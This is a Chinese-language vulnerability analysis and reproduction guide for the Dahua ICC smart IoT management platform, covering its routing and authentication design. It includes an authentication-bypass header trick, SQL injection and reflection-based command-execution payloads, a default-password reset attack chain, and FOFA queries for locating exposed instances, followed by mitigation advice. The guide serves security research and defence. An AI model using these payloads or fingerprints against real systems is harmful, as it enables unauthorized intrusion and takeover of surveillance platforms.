大华ICC智能物联综合管理平台历史漏洞分析(一)——从两层接口转发到漏洞利用
字数 3339
更新时间 2026-04-15 12:45:29
大华ICC智能物联综合管理平台安全分析与漏洞复现教学文档
1. 平台整体架构与组件分析
1.1 项目目录结构
大华ICC智能物联综合管理平台采用微服务架构,主要包含以下核心目录:
- 3rdtool/:存放第三方软件,如nginx、rabbitmq
- evo/:核心源码目录,包含各个功能模块
- evoWpms/:静态资源存放目录,由evo/evo-web部署,可通过
https://xxx/static/xxx直接访问
1.2 微服务架构详解
1.2.1 evo-common业务目录
evo-apigw: 网关服务,负责请求分发
evo-discover: 注册中心,负责服务发现
evo-oauth: 基于OAuth2的认证服务
evo-runs: 后台配置中心服务,有独立鉴权体系
evo-arms: 使用Go编写的服务,不走OAuth鉴权
evo-brm: 核心业务微服务
evo-arsm: 二进制文件服务
1.2.2 evo-subsystem子系统
包含视频监控相关服务,除admin模块外均为二进制文件:
- Evo-video/admin: Web管理服务
- 其他:二进制程序服务
1.2.3 前端部署结构
evo-web为前端模块安装包,实际部署在evoWpms目录,两者存在一一对应关系。
2. 网络架构与路由转发机制
2.1 Nginx网关配置
2.1.1 核心配置文件
- nginx.conf: 主配置文件
- upstream.conf: 上游服务器定义
- web_local_runs.conf: 8005端口监听配置
- web_local_https_entry.conf: 443端口监听配置
2.1.2 重要upstream定义
# 运维管理服务
upstream runs_backend {
server 127.0.0.1:8006;
check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false;
ip_hash;
}
# Web服务网关
upstream hauc_backend {
server 192.168.131.46:8945 weight=1 max_fails=2;
}
2.1.3 关键location路由规则
# 运维接口访问路由
location ^~/evo-runs/ {
proxy_pass http://runs_backend;
# ... 其他header设置
}
# 管理端接口对外访问路由
location ^~ /evo-apigw/ {
if ($deny_request) { return 404; }
# ... 转发逻辑
}
2.2 两层转发机制
请求流转路径:
外部请求 -> Nginx网关 -> evo-apigw微服务网关 -> 具体业务微服务
3. 微服务网关与服务发现
3.1 evo-apigw网关服务
3.1.1 核心配置
- application.properties: 定义微服务注册信息
- component.properties: 配置注册中心和服务发现
3.1.2 路由转发原理
基于Zuul网关实现,关键类com.dahua.evo.apigw.config.CustomRouteLocator:
- 根据服务名生成
/服务名/**路由规则 - 服务信息来自evo-discover的订阅
- 转发逻辑在
getMatchingRoute方法中实现
3.2 evo-discover注册中心
3.2.1 核心功能接口
/register: 微服务注册/heartbeat: 服务保活/subscribe: 订阅微服务列表- 推送服务列表变化给订阅者
3.2.2 服务发现方式
# 获取所有注册的微服务
curl http://127.0.0.1:8916/evo-discover/1.0.0/srd/subsystem
3.3 微服务注册流程
- 微服务启动时读取配置文件
- 调用discover客户端自动注册
- 定期发送心跳保持连接
- 订阅其他服务信息
4. 认证与鉴权机制
4.1 evo-apigw系列微服务认证
4.1.1 OAuth2认证流程
- 使用password模式
- 需client_id、client_secret、access_token
- 鉴权点:
org.springframework.security.oauth2.provider.authentication.OAuth2AuthenticationProcessingFilter - Token提取器:BearerTokenExtractor
4.1.2 免认证接口配置
在各自微服务的oauth.properties中配置:
oauth.permit=/**/user/login,/**/discover/subscribe/callBack,/**/version,...
4.2 evo-runs系列鉴权
4.2.1 白名单配置
在application.properties中定义:
spring.interceptor.url=/v1.0/auths/sysusers/login,/v1.0/receive,/v1.0/push,...
4.2.2 过滤器机制
- AuthFilter: 仅对特定接口生效
- SessionFilter: 对所有接口生效,但放行白名单
4.2.3 AuthFilter绕过条件
需满足以下任一条件:
- 包含
X-Subject-HeaderFlag: ADAPT请求头 - 不包含
X-Subject-Sign请求头
5. 历史漏洞分析与复现
5.1 SQL注入漏洞(CVE-2023-XXXXX)
5.1.1 漏洞接口
GET /evo-apigw/evo-arsm/1.0.0/ars/list?serviceName=[注入点]
5.1.2 漏洞特征
- 微服务:evo-arsm(Go二进制文件)
- 无OAuth认证
- 直接SQL查询拼接
5.1.3 复现POC
serviceName=' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7e,VERSION(),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
5.2 远程代码执行漏洞(CVE-2023-XXXXX)
5.2.1 漏洞接口
POST /evo-runs/v1.0/push
POST /evo-runs/v1.0/receive
5.2.2 漏洞分析
- 控制器:
MsgDealController - 处理类:
OssmConfigHandler.msgDeal() - 利用点:
- 任意文件写入:
writeMappingFile() - 命令执行:
execute()
- 任意文件写入:
5.2.3 复现Payload
{
"msgType": "config",
"serviceType": "OSSM",
"params": {
"configData": "恶意配置数据"
}
}
5.3 反射调用RCE漏洞
5.3.1 漏洞接口
POST /evo-apigw/admin/API/Developer/GetClassValue.jsp
5.3.2 漏洞分析
- 控制器:
DeveloperController.getCache() - 利用反射调用任意public方法
- 可利用方法:
RuntimeUtil.syncexecReturnExitValue()
5.3.3 复现Payload
{
"data": {
"clazzName": "com.dahua.admin.util.RuntimeUtil",
"methodName": "syncexecReturnInputStream",
"fieldName": ["id"]
}
}
5.4 系统用户密码重置漏洞
5.4.1 漏洞接口
POST /evo-apigw/evo-runs-adapt/1.0.0/receive
5.4.2 漏洞分析
- 处理类:
RestManagePwdHandler.msgDeal() - 调用evo-brm服务重置密码
- 默认重置为:system/123456
5.4.3 攻击链
- 调用重置接口获取管理员凭证
- 登录后台申请client凭证
- 向OAuth服务获取access_token
- 利用token访问敏感接口
6. 特殊路径与绕过技巧
6.1 JSP文件访问路径
/evo-apigw/nacos-sync/xxx.jsp
/evo-apigw/evo-discover/xxx.jsp
6.1.1 路径解析
请求 -> Nginx移除/evo-apigw/ -> evo-apigw路由到8916端口 -> Tomcat按context path处理
6.1.2 可利用目录
/opt/evo/evo-common/Evo-discover/tomcat/srd/evo-discover
/opt/evo/evo-common/Evo-discover/tomcat/srd/nacos-sync
6.2 接口命名规范
- evo-apigw系列:
/evo-apigw/服务名/版本号/接口路径 - evo-runs系列:
/evo-runs/版本号/接口路径
6.3 版本号规则
从配置文件application.properties获取:
system.name=服务名
system.version=1.0.0
支持向下兼容,低版本可访问高版本接口。
7. 漏洞挖掘方法论
7.1 攻击面梳理
7.1.1 evo-runs服务
- 分析白名单接口
- 寻找可利用的handler
- 检查/receive系列接口
7.1.2 evo-apigw系列
- 分析oauth.permit放行接口
- 寻找未授权访问点
- 检查二进制服务逆向
7.1.3 其他入口
- Nginx配置的其他端口
- 二进制服务安全分析
- 第三方组件漏洞
7.2 自动化信息收集
使用工具提取所有controller mapping:
new java.lang.StringBuilder()
.append(this.getWebApplicationContext()
.getBeansOfType(RequestMappingHandlerMapping.class)
.values().iterator().next()
.getHandlerMethods()).toString()
7.3 调试技巧
7.3.1 远程调试配置
# 启动调试服务
start-debug.sh
# 确保停止原有服务
stop.sh
7.3.2 调试注意事项
- 确认调试进程与实际服务进程一致
- 检查端口占用情况
- 避免多实例干扰断点
8. 指纹识别与资产发现
8.1 特征识别
- Title特征: "智能物联综合管理平台"、"智慧物联运营管理中心"
- Body特征: 包含特定版权信息
- Icon Hash: -1935899595
- 客户端端口: 通常小于800
8.2 搜索语法
fofa: icon_hash="-1935899595"
fofa: title="智能物联综合管理平台"
fofa: app="dahua-智能物联综合管理平台"
9. 防御与修复建议
9.1 临时缓解措施
- 限制
/evo-apigw/nacos-sync/和/evo-apigw/evo-discover/路径访问 - 加强
/evo-runs/receive和/push接口的输入验证 - 更新oauth.permit配置,移除不必要的放行接口
9.2 长期安全加固
- 实现统一的输入验证和输出编码
- 加强OAuth2 token验证机制
- 对二进制服务进行安全审计
- 实施最小权限原则配置
- 建立定期的安全更新机制
9.3 监控与检测
- 监控异常接口访问模式
- 检测SQL注入和命令执行尝试
- 审计密码重置和权限提升操作
- 建立安全事件响应流程
10. 工具与资源
10.1 测试工具
- I-Wanna-Get-All: 自动化漏洞检测
- Burp Suite: 手动测试与代理
- JADX: Java反编译分析
- Ghidra/IDA: 二进制分析
10.2 参考资源
- 官方文档: https://open-icc.dahuatech.com
- 漏洞分析: https://www.cnblogs.com/Domren/articles/19473055
- 视频教程: OAuth2协议详解
注意: 本教学文档仅用于合法的安全研究和授权测试。任何未经授权的测试和使用均属违法行为,使用者需自行承担相关法律责任。
相似文章
相似文章